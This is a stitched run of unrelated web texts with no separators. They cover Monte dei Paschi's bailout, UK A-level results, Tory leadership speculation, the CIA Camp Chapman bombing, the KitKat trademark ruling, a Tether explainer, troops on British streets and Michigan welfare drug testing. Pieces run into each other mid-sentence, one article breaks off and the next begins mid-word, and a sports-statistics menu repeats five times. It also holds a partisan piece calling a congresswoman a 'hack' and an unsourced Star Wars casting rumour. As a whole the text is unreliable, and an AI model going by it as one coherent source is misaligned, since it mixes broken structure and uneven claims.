The Italian government has made clear it is ready to act as backstop to MPS, although last week Rome insisted the bank would be able to raise the funds through the markets.
The announcement that Quaestio had concerns came just hours after the cash call on shareholders was announced. MPS said the body had, on 17 December, “expressed strong reservations in relation to the term sheet” of the loan. MPS said it was in talks with Quaestio – which runs the €4.25bn Atlante backstop fund named after the Titan in Greek mythology who was condemned to hold up the sky – to try to resolve the matter.
Atlante is backed by the Italian banking system: Unicredit pumped in €1bn to the fund, as did Intesa Sanpaola. Carlo Messina, chief executive of Intesa Sanpaolo, was quoted as saying that the MPS deal should go ahead and that a decision would be reached by Tuesday at the latest.
In the meantime, the share offer for institutional investors closes on Thursday, while retail investors have to decide whether to buy shares by Wednesday. The Thursday deadline has sparked speculation that the Italian government might step in before the end of the week if it emerges that investors have failed to buy shares.
If the Italian government had to stump up cash it would constitute a “precautionary recapitalisation” because the bank holds enough capital to meet current regulatory minimums.Most people know Tucky Williams from her hit web show, Girl/Girl Scene. Girl/Girl Scene offers much more than typical webisodes – quite literally. Each replicates the length and character development you would expect to find on TV. Fortunately for us, it’s completely free to watch on her website, http://www.girlgirlscene.com.
While Tucky plays a non-committal lady killer as Evan, she showed a rather congenial and softer side when I interviewed her recently (though, maybe that’s what happens when two tough guys get together?). We talked about – well, what else – girls, where she revealed that she’s single.
She also talked about her appearance on the upcoming episodes of The Real L Word. Be sure to check out the video below to hear her take on reality TV, along with a couple interesting (but unrelated) hidden talents.
You May Also Like:Media playback is unsupported on your device Media caption Teaching unions say a decline in minority subjects are dropping due to funding cuts
The proportion of top A-level grades has fallen slightly this year, but record numbers have been accepted on university courses.
A* and A grades were awarded to 25.9% of entries, down from 26% last year. But in a year of "stable" results, passes rose by 0.1 percentage point.
The Ucas university admissions service says 409,000 places have been confirmed, up 3% on last year.
Universities minister Jo Johnson hailed the rising numbers as "great news".
Hundreds of thousands of teenagers in England, Wales and Northern Ireland are receiving their A-level results on Thursday.
The exam boards say that the number of A-levels taken this year has risen to over 850,000, with maths, English and biology the most popular. There was a sharp increase in pupils taking computing.
A-level results, 2015 25.9% received A or A* grade 98.1% overall pass rate (A-E) - up 0.1 percentage point 8.2% received A* grade - no change on last year
409,000 degree places confirmed, up 3 percentage points
13,415 more female entrants in 2015 than last year PA
"The over-riding message from this year's figures is one of stability. There have been no significant changes to the system," said Michael Turner, director of the Joint Council for Qualifications.
The overall pass rate has risen marginally to 98.1% and the proportion getting the very top A* grade remained the same at 8.2%, with A grades down by 0.1%.
Image copyright Reuters Image caption For many students it has been a day of celebration
Schools minister Nick Gibb said the results showed the impact of the government's drive for "core academic subjects" with a 20% increase in maths entries since 2010.
"As a result thousands more pupils, from all backgrounds, are studying subjects that will secure them a place at a top university or an apprenticeship and that will help to secure well paid employment," said Mr Gibb.
Chris Keates, leader of the Nasuwt teachers' union, said that the results showed that the "gold standard" A-level system had been maintained, despite the pressure on schools to prepare for forthcoming changes to exams.
The ASCL head teachers' union said that it was "disappointing" to see a decline in some subjects, such as music, German and design and technology. Heads linked the decline to budget pressures making it difficult to sustain subjects with smaller numbers of pupils.
The British Council highlighted the further fall in pupils taking French and said the numbers taking languages were "disappointingly low".
The CBI director general, John Cridland, emphasised the importance of providing high status vocational options for students.
"For too long vocational choices have been seen as the understudy to academic subjects, but this simply won't wash anymore. Vocational qualifications should have the same A-level brand, which is well-respected by businesses," said Mr Cridland.
Gender gap
But this year's lifting of the cap on university places in England has seen more students than ever accepted on to courses.
Media playback is unsupported on your device Media caption Ucas chief executive Mary Curnock Cook says demand and supply for university spaces are "in balance"
Initial figures from Ucas show a 5% increase in places for 18 year olds in the UK, but a reduction among older age groups.
The gender gap has widened further, with 27,000 more women than men about to start university courses this year.
The number of international students and from the European Union has also increased.
A-level results
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Analysis: What lessons can be drawn from this year's results?
Northern Ireland: Pass rate rises
Wales: Top grades rise, but below UK average
With no fixed limit on the number of places universities are permitted to offer, there is likely to be more competition for students.
In the run-up to results day, some universities have been attempting to secure students on to courses by revising conditional offers into unconditional ones.
Clearing
Any unallocated university places will be matched with students with the right grades through the process known as Clearing.
Pam Tatlow, chief executive of the Million+ university group, said Clearing would not be too different from previous years, despite the removal of the cap on student numbers.
Image copyright Reuters Image caption A pupil at Winstanley College in Wigan shares news about his results
"A lot of activity has gone on before Clearing in terms of unconditional offers, and as usual there will be competition and students will have choices to make," she said.
"Students will have to keep calm and think about what is the right course for them."
Labour's shadow education secretary Tristram Hunt warned that there still needed to be more effort to get female students to take science subjects.
"We still waste far too much potential. These results remind us that progress on increasing the number of young women taking subjects like physics, maths and computing is still too slow."
Nansi Ellis, assistant general secretary of the Association of Teachers and Lecturers, congratulated students and teachers on the results.
"Although this year's results are stable, this is unlikely to be the case when the A-level reforms kick in and all A-levels are only assessed by end of course exams."Something is stirring in the Conservative Party, something that should worry its senior members. Conservative MPs are starting to wonder whether their next leader will not, in fact, be George Osborne, Boris Johnson or even Theresa May.
Mr Osborne and Mr Johnson are by some distance the current acknowledged front-runners in the race to succeed David Cameron, followed by Mrs May. All are serious and credible figures who rightly stand in their party’s front rank, unquestionably qualified for the highest office. Political orthodoxy holds that one will take the crown.
And yet. Listen carefully in the dark corners and quiet nooks of the Commons and you hear a faint murmuring, the first signs of an appetite for something else. Something more. Something new.
Such talk is most common among those MPs first elected last year, but it can be heard elsewhere too. And remember, it is the party’s MPs who will decide which two – or perhaps even three – candidates go forward to the full membership for election.
There are at least three reasons some Tories are willing to consider seriously alternative candidates as their next leader. The first is the timetable. Let us make some hefty assumptions and say that Britain votes to remain in the European Union, and that the Conservative Party, despite its painful split over Europe, permits Mr Cameron to remain in office until close to the 2020 election before handing over. The next leader, therefore, will be the party’s nominee for the premiership from 2020 to 2025, and quite possibly for another five years after that. Mr Osborne, Mr Johnson and Mrs May have already been at the forefront of politics for almost a decade. In our fickle age, with the electorate’s attention-span made skittish by smartphones and 24/7 news, could any of them, even the quixotic Mr Johnson, hold the public gaze until 2030?
Photo: Getty Images
Voters may be ageing but politics is increasingly a youthful pursuit. Mr Osborne, a mere 44, has been an MP for 15 years and a frontbencher for 12. Some recently-minted Tories wonder if he won’t look a bit long in the tooth by 2020. That bodes even worse for Mr Johnson (51) and Mrs May (59); it’s a cruel business, politics.
That brings us to the second reason to think none of the big three is a dead cert: the candidates themselves, and their flaws.
The Chancellor has a commanding lead among MPs, since his first-rate political operation is particularly skilful at persuading them that it is in their best interest to support him. This is not the same, however, as winning their affections; Mr Osborne is more supported than loved. “Backing George is quid pro quo, a business transaction not a love affair,” says one minister.
The top-notch Osborne spin machine also excels at winning the favour of political commentators. But, just in case it needs saying, the views of the commentariat and the opinion of the public do not always coincide. Ever more commentators declare the Chancellor a warmer, funnier and more intellectually interesting figure than the shallow, sneering toff of popular caricature. This may be true but it is irrelevant: it’s the caricature that matters to voters, as polling numbers and anecdotal evidence attest.
Mr Johnson’s problems hold a mirror up to Mr Osborne’s. His appeal to the wider public is not matched at Westminster. Just as he did during his first spell as an MP, Mr Johnson is struggling to make an impact and to win friends. Many believe the party in Parliament is an ensemble piece while Mr Johnson is star who cannot share the spotlight. Some of his allies even wonder if he currently has enough MPs onside to make the final round.
Mrs May, meanwhile, is seen as cold and distant. Perhaps her formidable work-rate and unrelenting seriousness will count more among MPs than personal affection. Perhaps.
The third reason MPs are looking beyond this trio is Jeremy Corbyn. If, as is perfectly possible, he retains his grip on Labour for the rest of the Parliament, Tories consider the election in the bag. This reduces the risk of choosing a new and even unproven leader for that election.
Among those being considered for the part, in the Cabinet, Sajid Javid, the Business Secretary, attracts much speculation, but most expect him to seek a seat at Mr Osborne’s right hand instead.
Cabinet colleagues say it’s almost certain Nicky Morgan, the education secretary, will run as a social reformer continuing Mr Cameron’s One Nation agenda.
Others tip Stephen Crabb, the Welsh Secretary whose talents demand a bigger job. One admirer also notes his life-story (from council estate to Cabinet, by way of an MBA) has real meritocratic appeal to a party whose pre-Cameron upwardly-mobile leaders include the daughter of a shopkeeper (Thatcher), the son of a circus performer (Major) and the son of Romanian immigrants (Howard).
Below Cabinet rank, the name most mentioned is that of Priti Patel, the employment minister and fierce critic of the EU. MPs say she has started asking colleagues what they would think if she ran. A prominent role in the campaign for Brexit may yet establish her as the champion of the Tory Right and a powerful force in what may be a fractured post-referendum party.
Mr Crabb was first elected in 2005, Mr Javid, Ms Morgan and Ms Patel in 2010. Some Tories wonder if their next leader might come from an even later generation. One prominent member of the 2015 intake has been approached by colleagues urging him to run, but is so far resisting temptation.
"The Tory willingness to skip a generation is real – it also has precedent"
A candidacy from the class of 2015 would be audacious but should not be ruled out, for the Tory willingness to skip a generation is real. It also has precedent. The political circumstances were different, but in 2005 when David Cameron became party leader he was 39 years old, had been an MP for barely five years and never held ministerial office. He also began the race as an outsider trailing older, established favourites. None of that mattered. All that counted was that Tories thought he looked more like a winner than his rivals.
Today he feels like a fixed part of the political landscape, but the Prime Minister’s ascent was a surprise; the later the contest to replace him, the greater the chance of another.Additional Criteria
Choose Passes Completed Pass Attempts Passes Incomplete Pass Completion % Passing Yds Passing TD Passes Intercepted Passer Rating Sacked Sacked Yds Lost Yds/Pass Att Adj Yds/Pass Att — Rushing — Rushing Att Rushing Yds Yds/Rushing Att Rushing TD — Receiving — Targets (since 1992) Receptions Receiving Yds Yds/Reception Receiving TD Catch Pct (since 1992) Yds/Target (since 1992) — Scoring — Extra Pt Made Extra Pt Att Extra Point % Total Field Goals Made Field Goals Att Field Goal % 2-pt. Conv. Made Safeties Touchdowns Points Scored — Fantasy — Fantasy Points Fantasy Points (PPR) DraftKings points FanDuel points — Kick Returns — Kick Returns Kick Return Yds Yds/Kick Return Kick Return TD — Punt Returns — Punt Returns Punt Return Yds Yds/Punt Return Punt Return TD — Tackles — Sacks (since 1982) Tackles Solo (since 1999) Assists (since 1999) Tackles Combined Tackles For Loss (since 1999) QB Hits (since 2006) — Def Interceptions — Interceptions Intercept. Ret. Yds Intercept. Ret. TD Passes Defended — Fumbles — Fumbles Fumbles Forced (since 1993) Fumbles Recovered Fumble Return Yds Fumble Return TD — Punting — Punts Punting Yds Yds/Punt Punts Blocked — Total Yds — Touches Total Offense (since 1981) Yds From Scrimmage All-Purpose Yds Kick & Punt Return Yds >= <= =
Choose Passes Completed Pass Attempts Passes Incomplete Pass Completion % Passing Yds Passing TD Passes Intercepted Passer Rating Sacked Sacked Yds Lost Yds/Pass Att Adj Yds/Pass Att — Rushing — Rushing Att Rushing Yds Yds/Rushing Att Rushing TD — Receiving — Targets (since 1992) Receptions Receiving Yds Yds/Reception Receiving TD Catch Pct (since 1992) Yds/Target (since 1992) — Scoring — Extra Pt Made Extra Pt Att Extra Point % Total Field Goals Made Field Goals Att Field Goal % 2-pt. Conv. Made Safeties Touchdowns Points Scored — Fantasy — Fantasy Points Fantasy Points (PPR) DraftKings points FanDuel points — Kick Returns — Kick Returns Kick Return Yds Yds/Kick Return Kick Return TD — Punt Returns — Punt Returns Punt Return Yds Yds/Punt Return Punt Return TD — Tackles — Sacks (since 1982) Tackles Solo (since 1999) Assists (since 1999) Tackles Combined Tackles For Loss (since 1999) QB Hits (since 2006) — Def Interceptions — Interceptions Intercept. Ret. Yds Intercept. Ret. TD Passes Defended — Fumbles — Fumbles Fumbles Forced (since 1993) Fumbles Recovered Fumble Return Yds Fumble Return TD — Punting — Punts Punting Yds Yds/Punt Punts Blocked — Total Yds — Touches Total Offense (since 1981) Yds From Scrimmage All-Purpose Yds Kick & Punt Return Yds >= <= =
Choose Passes Completed Pass Attempts Passes Incomplete Pass Completion % Passing Yds Passing TD Passes Intercepted Passer Rating Sacked Sacked Yds Lost Yds/Pass Att Adj Yds/Pass Att — Rushing — Rushing Att Rushing Yds Yds/Rushing Att Rushing TD — Receiving — Targets (since 1992) Receptions Receiving Yds Yds/Reception Receiving TD Catch Pct (since 1992) Yds/Target (since 1992) — Scoring — Extra Pt Made Extra Pt Att Extra Point % Total Field Goals Made Field Goals Att Field Goal % 2-pt. Conv. Made Safeties Touchdowns Points Scored — Fantasy — Fantasy Points Fantasy Points (PPR) DraftKings points FanDuel points — Kick Returns — Kick Returns Kick Return Yds Yds/Kick Return Kick Return TD — Punt Returns — Punt Returns Punt Return Yds Yds/Punt Return Punt Return TD — Tackles — Sacks (since 1982) Tackles Solo (since 1999) Assists (since 1999) Tackles Combined Tackles For Loss (since 1999) QB Hits (since 2006) — Def Interceptions — Interceptions Intercept. Ret. Yds Intercept. Ret. TD Passes Defended — Fumbles — Fumbles Fumbles Forced (since 1993) Fumbles Recovered Fumble Return Yds Fumble Return TD — Punting — Punts Punting Yds Yds/Punt Punts Blocked — Total Yds — Touches Total Offense (since 1981) Yds From Scrimmage All-Purpose Yds Kick & Punt Return Yds >= <= =
Choose Passes Completed Pass Attempts Passes Incomplete Pass Completion % Passing Yds Passing TD Passes Intercepted Passer Rating Sacked Sacked Yds Lost Yds/Pass Att Adj Yds/Pass Att — Rushing — Rushing Att Rushing Yds Yds/Rushing Att Rushing TD — Receiving — Targets (since 1992) Receptions Receiving Yds Yds/Reception Receiving TD Catch Pct (since 1992) Yds/Target (since 1992) — Scoring — Extra Pt Made Extra Pt Att Extra Point % Total Field Goals Made Field Goals Att Field Goal % 2-pt. Conv. Made Safeties Touchdowns Points Scored — Fantasy — Fantasy Points Fantasy Points (PPR) DraftKings points FanDuel points — Kick Returns — Kick Returns Kick Return Yds Yds/Kick Return Kick Return TD — Punt Returns — Punt Returns Punt Return Yds Yds/Punt Return Punt Return TD — Tackles — Sacks (since 1982) Tackles Solo (since 1999) Assists (since 1999) Tackles Combined Tackles For Loss (since 1999) QB Hits (since 2006) — Def Interceptions — Interceptions Intercept. Ret. Yds Intercept. Ret. TD Passes Defended — Fumbles — Fumbles Fumbles Forced (since 1993) Fumbles Recovered Fumble Return Yds Fumble Return TD — Punting — Punts Punting Yds Yds/Punt Punts Blocked — Total Yds — Touches Total Offense (since 1981) Yds From Scrimmage All-Purpose Yds Kick & Punt Return Yds >= <= =
Choose Passes Completed Pass Attempts Passes Incomplete Pass Completion % Passing Yds Passing TD Passes Intercepted Passer Rating Sacked Sacked Yds Lost Yds/Pass Att Adj Yds/Pass Att — Rushing — Rushing Att Rushing Yds Yds/Rushing Att Rushing TD — Receiving — Targets (since 1992) Receptions Receiving Yds Yds/Reception Receiving TD Catch Pct (since 1992) Yds/Target (since 1992) — Scoring — Extra Pt Made Extra Pt Att Extra Point % Total Field Goals Made Field Goals Att Field Goal % 2-pt. Conv. Made Safeties Touchdowns Points Scored — Fantasy — Fantasy Points Fantasy Points (PPR) DraftKings points FanDuel points — Kick Returns — Kick Returns Kick Return Yds Yds/Kick Return Kick Return TD — Punt Returns — Punt Returns Punt Return Yds Yds/Punt Return Punt Return TD — Tackles — Sacks (since 1982) Tackles Solo (since 1999) Assists (since 1999) Tackles Combined Tackles For Loss (since 1999) QB Hits (since 2006) — Def Interceptions — Interceptions Intercept. Ret. Yds Intercept. Ret. TD Passes Defended — Fumbles — Fumbles Fumbles Forced (since 1993) Fumbles Recovered Fumble Return Yds Fumble Return TD — Punting — Punts Punting Yds Yds/Punt Punts Blocked — Total Yds — Touches Total Offense (since 1981) Yds From Scrimmage All-Purpose Yds Kick & Punt Return Yds >= <= =How a Double Agent Lured Seven CIA Operatives to Their Deaths Suicide Bomber Al-Balawi Convinced Americans He Was the 'Golden Goose'
As the CIA mourns its dead from a devastating suicide bombing in Afghanistan, the questions grow about how professional spies could have been so taken in, failing to spot a double agent and letting a bomber into their midst.
Some 13 CIA operatives, including private contractors from the company once known as Blackwater, had gathered to hear the informant's report when the bomb went off. Among the nine people killed were seven CIA operatives, the informant, and a Jordanian intelligence officer, a cousin of Jordan's King Abdullah, who had been the liaison between the informant and the CIA.
The suicide bomber, who killed some of the CIA's top al Qaeda hunters, lured the agents to the meeting by claiming he had just met with Ayman al-Zawahiri, this country's most wanted terrorist after Osama bin Laden, sources told ABC News.
The informant-turned-bomber, a 32-year-old Jordanian doctor named Humam Khalil Muhammed Abu Mulal al-Balawi, had been recruited by Jordanian intelligence to get information on Zawahiri.
The promise of getting a bead on Zawahiri prompted one of the CIA's top analysts to travel last week from Kabul to the remote CIA listening post at Forward Operating Base Chapman in the middle of Taliban country near the Afghan-Pakistan border. The CIA outpost at Camp Chapman is the nerve center in the hunt for Osama bin Laden.
Al-Balawi had been to Chapman previously and because of the information he was promising, CIA officers told Afghan guards to allow him past the first of three checkpoints without searching him. The bomber was actually escorted around the checkpoints, and the officers also told the guards to vacate the area, sources told ABC News.
When al-Balawi detonated his bomb, he assassinated seven CIA operatives and wounded six others. He also killed the Jordanian intelligence officer who recruited him out of a Jordanian prison cell.
Said Bob Baer, a former CIA case officer, "It is sort of a grim calculation but normally when you meet an asset like this you have one, maybe two people. So I think people are going to point out inside the agency that they shouldn't have 13 people there."
The Life of a Double Agent
In his early life al-Balawi lived in a refugee camp near Zarqa, Jordan, the same town that spawned infamous insurgent leader Abu Musab al Zarqawi. Al-Balawi studied medicine in Turkey at the expense of the Jordanian government and was a straight-A student, sources said.
Al-Balawi, who became a doctor and worked at a clinic in a Palestinian refugee camp near Zarqa, was extremely active online and in jihadist chat rooms and was arrested several times by the Jordanian authorities.
He was last arrested over a year ago by Jordanian intelligence, and was thought to have been flipped by the Jordanians while in prison to support U.S. and Jordanian efforts against al Qaeda and al Zawahiri specifically.
Zawahiri founded al Qaeda with bin Laden and the two men have been at the top of the CIA's hit list since Sept. 11, 2001. The U.S. has posted a $25 million reward for each of them.
The double agent doctor played his role to the hilt, telling the CIA he needed to attack the U.S. on al Qaeda websites so he could establish his credibility with other terrorists.
Some precautions were obviously taken, like having the Jordanian official handling the informant be present for the meeting, essentially vouching for his reliability.
Said Bob Baer, "They are outsourcing intelligence and they are having to go to the Jordanians and ask them for help getting into al Qaeda because we simply cannot, as blond haired blue eyed Americans, cannot get into these camps."
In reality, al-Balawi was sincere about the extreme messages he posted on al Qaeda websites. "He demanded violence against the United States in the most brutal way," said Jarret Brachman, the author of "Global Jihadism: Theory and Practice." "He was rabidly pro al Qaeda."
Al-Balawi was a constant presence on on-line jihadist forums, said Brachman, and was widely respected. "Within the most elite forums he was on the most elite list of authors."
For U.S. intelligence, said Brachman, he was a "golden goose," a "trophy asset."
The death of so many officers, and the failure to identify a double agent, said Bob Baer, is likely to make the CIA gun-shy for quite some time. "They are going to look at every walk-in, as we call it, as a potential suicide bomber. Everybody is going to be vetted 10, 20 times."
"It's going to be impossible to get outside the wire," said Baer. "It has been a huge setback for intelligence collection in Afghanistan."
The Jordanian intelligence officer who handled al-Balawi, Sharif Ali bin Zeid, was a member of the royal family. He was buried with a royal funeral that was attended by the king and queen of Jordan.
While the U.S. and Jordan mourned their deaths, a Web site from al-Balawi's tribe |
acists & #UniteTheRight: You are outnumbered. Add your name today to be part of the online action: https://t.co/9O1ynmNNnT pic.twitter.com/uD4FGbk83v — ADL (@ADL_National) August 11, 2017
[Featured Image by Chet Strange/Getty Images]The shape of Nestlé’s four-fingered KitKat bar is no longer protected after a European court called on Thursday for the trademark awarded to the Swiss company to be annulled.
The General Court in Luxembourg, the second-highest court in the EU, ruled that, for the confectionery bar to be protected, consumers needed to recognise – across all EU states – that it had a distinctive character.
The court concluded that, in registering the mark in 2006, the European Union Intellectual Property Office had “erred in law”.
Can be imitated
Its decision means the KitKat shape can be imitated by other food producers.
Cadbury Schweppes, now part of the US foods group Mondelez International, originally took the action in 2007 to demand the EU declare Nestlé’s trademark invalid.
This is the latest spat between two of world’s largest confectionery companies over trademarks.
Thursday’s ruling revokes the 2006 registration of the trademark. The EU’s IP Office was ordered to bear its own costs and those incurred by Mondelez.
The court said that, when Nestlé had made its application in 2002, it failed to prove that KitKat had already gained distinctive character through use in all member states.
It was not enough “to show that a significant proportion of the relevant public throughout the EU, merging all the member states and regions, perceives a mark as an indication of the commercial origin of the goods designated by the mark”, the court said.
The court said the EU IP Office had found that KitKat had acquired distinctive character in 10 countries – Denmark, Germany, Spain, France, Italy, the Netherlands, Austria, Finland, Sweden and the UK – but not in countries including Belgium, Ireland, Greece and Portugal.
Guy Wilmot, partner at Russell-Cooke law firm, said is was not surprising that KitKat’s attempt to trademark the four-finger shape had failed.
‘Notoriously difficult’
“Shapes and colours are notoriously difficult to protect,” he said. “In order to be protected, a shape or colour has to be strongly associated with a given product or brand even if any packaging, logos or names are ignored. This is a difficult test to meet.
“Although in this case, it could be proved that most people associated the four-finger shape with KitKat in the UK, this was not true across the rest of Europe.”
Nestlé has the option of appealing against the decision before the EU’s highest court within two months.
The Nestlé ruling comes after Rubik’s Cube last month lost a decade-long battle to secure trademark protection for its own distinctive character. – Copyright The Financial Times Limited 2016You have probably been hearing a lot about Tethers recently, and most of it is probably bad. Everything from Tethers are just a harmless coin to Tethers are going to collapse the whole crypto sphere. But what I wanted to do here is to give those who are not familiar with Tethers or how they work, an objective explanation of what they are and also arguments for how they may be legitimate, and how they may not be. Readers of this blog probably already know my personal opinion on Tethers. But this article is for those who may not be familiar with what Tethers are to learn about the current situation/controversy.
Tethers were introduced as a stand in for USD on exchanges. Because most exchanges don’t allow for the easy conversion of crypto into fiat, the Tether was created as a 1:1 substitute for USD on exchanges. In theory, each Tether coin would be worth exactly 1 USD. The company behind Tether would back each one with a real dollar held in their reserves. When normal market trading happens, they would release more or buy back Tethers to keep the price at exactly $1.
The reason for this is so that you can essentially “park” your money in USD, which is more stable than cryptos instead of having to find a way to convert your crypto to fiat. So say for example you have turned a profit on your Bitcoin holdings and you want to take profits. With Tether, you can simply sell your Bitcoin for Tether on the exchange and now your money is essentially in USD, it’s just like if you traded it for cash to hold. It’s a simple and cheap way to convert your crypto into fiat for the short term. Since Tethers are always pegged at $1 each, if the cyrpto market falls, you still hold your fiat value. At least that was the original intention.
This is all a totally valid idea and one that was needed. The issue starts to come in if Tethers are being used to manipulate the market and are not in fact backed by $1 each.
What if the Tethers are not backed by real money – Most assets traded on a market such as cryptos have value for two reasons. One reason is their utility, and one reason is their perceived value in the future, which would be the speculative value. However, with a Tether, there is no expectation of a future rise in value, since they are pegged at $1. Also, they only have one purpose or utility and that is as a 1:1 stand in for USD. Once it is found out that it is no longer a stand in for USD, the value goes to zero if there is no actual USD backing it up because it has no other underlying value, speculative or otherwise. Tether has no utility value and has no speculative value at that point, so the value becomes zero. A Tether can only be one of two values. Either $1, or $0 if you remove the backing of USD.
Now the company claims that that they have a bank account filled with real USD to back up the Tethers they have released. However, many people have argued that this is not the case, as the company behind Tether has had many banking problems in the past and it seems strange a bank would simply keep giving them $30 million at a time several times a week as they have been doing. They also have yet to release a full audit which they promised for many months.
But, and this is because I want to be fair, It is conceivable that some bank would agree to terms in which they would loan out money to Tether to be held in a bank account at high interest if the borrower promised to never touch the money or withdraw it. There is some proof to support this. Recently an audit was put out regarding Tethers and it was shown that a bank account does in fact exist that holds some USD to back Tethers, but it could not be determined if the Tether corporation had access to it for the purpose of withdrawals.
As of now, over $800 million Tethers have been released. Over $100 million just this past week.
So ultimately, this is the question. Are Tethers really backed by actual USD or are they simply printed out of thin air and then used as fake money to pump up the price of Bitcoin in exchange for real money? A graph of both assets shows a strong correlation between rises in Bitcoin prices and the release of new Tethers. Although, just to be fair, it could be argued that as Bitcoin and other crypto market caps rise, there is a demand for new Tethers and this the reason for the new Tethers being printed. However, this would not negate the fact that they still need to be backed by USD.
One this is for sure, if the detractors of Tether are correct, the implications could very well be catastrophic. Every major exchange has a Tether trading pair market. A collapse of Tethers would cause a few, if not many, exchanges to go under as they could not handle a loss of one of their trading pair markets and still conduct business, especially if that loss caused customers to start pulling out their funds. So this would have an effect on everyone in crypto, not just those with money on exchanges as the value of almost every coin would start falling, and with exchanges going offline, there would be no way to trade out of it.Liberal Hack Frederica Wilson Accuses General Kelly of Racism — For Using Term Credited to Plato and Shakespeare
Far left hack Frederica Wilson went on CNN and accused White House Chief of Staff General John Kelly of being a racist.
General Kelly described loudmouth Wilson of being an “empty barrel” for shooting her mouth off without thinking.
Frederica Wilson accused General Kelly of being racist for using the term “empty barrel.”
Plato and William Shakespeare were also credited to using the term.
Newsweek reported:
Many credit Plato for bringing “empty barrel” into the vernacular: “An empty vessel makes the loudest sound, so they that have the least wit are the greatest babblers.” Some believe the proverb truly has Jamaican origins, while others credit it as Spanish. A book of world proverbs gives 21 variations of the expression. Shakespeare channeled Plato in Henry V, writing, “I never heard so loud a voice issue from such an empty heart. It’s true what they say, the empty vessel makes the greatest sound.”
The Trump White House stands by General Kelly and his statements on the empty barrel.
Press Sec. Sanders says Gen. Kelly "absolutely" stands by his statements about Rep. Wilson. https://t.co/iqHoRuRz4u pic.twitter.com/IwgMiWre8F — ABC News Politics (@ABCPolitics) October 20, 2017The prospect of nearly 1,000 troops emerging from their barracks and on to the streets of Britain will be a shock to the system. Other countries may be used to the sight of soldiers outside palaces and parliaments, at stations or large venues, but not Britain. This, remember, is a country that prides itself on the fact that most of its police are armed with nothing more than a stick.
Manchester reminds all parents of the never-ending dread of losing a child | Gaby Hinsliff Read more
France has got used to soldiers outside Paris museums, or on patrol through even the quietest rural village – the sight normalised after a state of emergency imposed in the wake of the terrorist attacks in November 2015 and in place ever since. Those with long memories in Northern Ireland recall only too well when a military presence formed part of the landscape. But for the rest of the UK, it will be a strange novelty.
Will people find it frightening – or reassuring? When the army rode to the rescue to guard the London Olympics in 2012, after a private security firm fell short, the public embraced them. Soldiers were greeted warmly by visitors glad to know they were there.
But the context was different then. The military were being deployed against the abstract possibility of an attack, not in the immediate aftermath of a horrifically real one. This time, the sight of soldiers – and the current plan allows for up to 3,800 of them – on the streets follows a bombing whose cruelty has barely begun to sink in. The military presence will be a reminder in human form that the terrorist threat level has been raised from severe to critical for the first time in a decade. There is some ambiguity over whether that means the security services believe another attack is likely or simply possible, but either way it is chilling.
And there is another factor about the timing that cannot be ducked. Troops are being deployed in the middle of a general election campaign. That is new and unsettling terrain for British democracy.
Inevitably, it has prompted some to be sceptical, codedly accusing Theresa May of opportunistically ramping up the threat level and the state of public anxiety, all the better to project her as the safe and prime ministerial pair of hands the country needs in fraught times. Others insist that these are purely operational decisions taken by security chiefs with no thought to politics. (Meanwhile one former senior police officer suggests to me that the truth might lie in between: with key officials, including those who’ve worked closely with May in the past, taking operational decisions they know will find favour with their political masters. Or as he put it: “They know which side their bread is buttered.”)
Still, you don’t have to detect any questionable motives, still less a conspiracy, to worry about this development and hope it won’t last long. Past precedent suggests that these “critical” periods last just a few days, as the security services catch and “roll up” terrorist cells and networks. For that reason alone, we must hope that this critical state ends quickly.
But there is a less concrete reason too. No one wants this heightened martial state to last so long that we get used to it, that it becomes normalised, as perhaps it has in France. To be specific, we have to hope there are no troops on the streets of the UK on 8 June. That would feel like an election under siege.
The rule of law applies to everyone. Even Manchester hate peddlers like Katie Hopkins | Hugh Muir Read more
Such a notion is to be rejected for the obvious reason that it’s not true. The horror that was unleashed in Manchester is of a depth that is proving hard to fathom: the deliberate slaughter of children has pierced even those who thought they were becoming inured to the nihilism of these killers. But it has not besieged our democracy; it has not struck our political system with a blow we cannot sustain. We are still standing.
What’s more, the notion of an election under siege, a ballot conducted under the gaze of armed men, also gives these pathetic young men – men so frightened of life that they make a target of little girls – far too much respect. It grants them too much power.
So let’s hope that the soldiers’ work is done by 8 June, and that they can be gone. We need our election to go ahead undisturbed, lest we give these murderers even the scent of victory.State lawmakers are taking testimony on legislation to require some state welfare recipients to undergo drug testing.
Michigan tried before to require drug testing of welfare recipients. That law mandated random drug testing. But the courts stopped that program a decade ago.
Some legislators want to resurrect the idea, though this new program would focus on cash assistance recipients who are suspected of using illegal drugs.
“Hard earned tax dollars should be used efficiently,” says Utica State Representative Jeff Farrington. He’s the bill’s sponsor. “There are limited resources as we all know. Those resources should go to those in highest need. If someone is using cash assistance for their illegal drug habit that’s not a good use of our resources.”
Substance abuse treatment and welfare advocates oppose the drug testing requirement. They say the proposal won’t save the state any money
John Andrews is with Michigan Association of Substance Abuse Coordinating Agencies. He says a similar program in Florida showed a limited effect.
“The results of the Florida program were that two percent of the people tested proved positive. Another two percent refused the test. That’s a pretty small population,” says Andrews.
Gilda Jacobs of the Michigan League for Human Services says the bill does nothing to help people who test positive.
“It really makes…it more difficult for those with substance abuse problems to get treatment,” says Jacobs, “And if the purpose is to truly help families. Substance abuse needs to be treated as any other barrier to employment. “]
They also say the program could put children at risk in homes with a positive drug test. Supporters say the children are already at risk since the drug abuser is likely spending their cash assistance on illegal drugs and not the children.GETTY/DISNEY Tom Hardy is set to appear in Star Wars: Episode VIII
Alongside the likes of Tom Hiddleston, Damien Lewis and Idris Elba, Hardy is highly-tipped to portray Ian Fleming’s 007. But before that, the Mad Max star is heading off to a galaxy far, far away. And you won’t believe what he’s getting up to once he gets there… Breaking news from the Star Wars set, which is currently filming in Ireland, has revealed that handsy Hardy will be getting a bit too overfamiliar with John Boyega’s bottom.
WARNER Tom Hardy won critical praise last year for Mad Max: Fury Road
The latest news is that Tom Hardy will be playing a First Order stormtrooper in the currently untitled Star Wars: Episode VIII, which comes out Christmas 2017. Hardy’s cameo will involve recognising John Boyega’s Finn as stormtrooper FN-2187, from before his mutiny against the Dark Side in The Force Awakens. Finn, will get quite the surprise as Hardy slaps him on the behind, completely unaware that he’s been spotted. Thinking’s he been captured, Finn actually finds Hardy’s stormtrooper just remembers him from the First Order’s training days, and wants to catch up with his old friend. Hardy then congratulates Finn on his apparent promotion as a Resistance Infiltrator, when actually he’s on their side.
Star Wars Episode VIII: The Last Jedi filming in Ireland Fri, May 13, 2016 Filming for the new Star Wars movie has started in Ireland. Play slideshow 1 of 19
DISNEY Daniel Craig cameoed as a stormtrooper in The Force Awakens
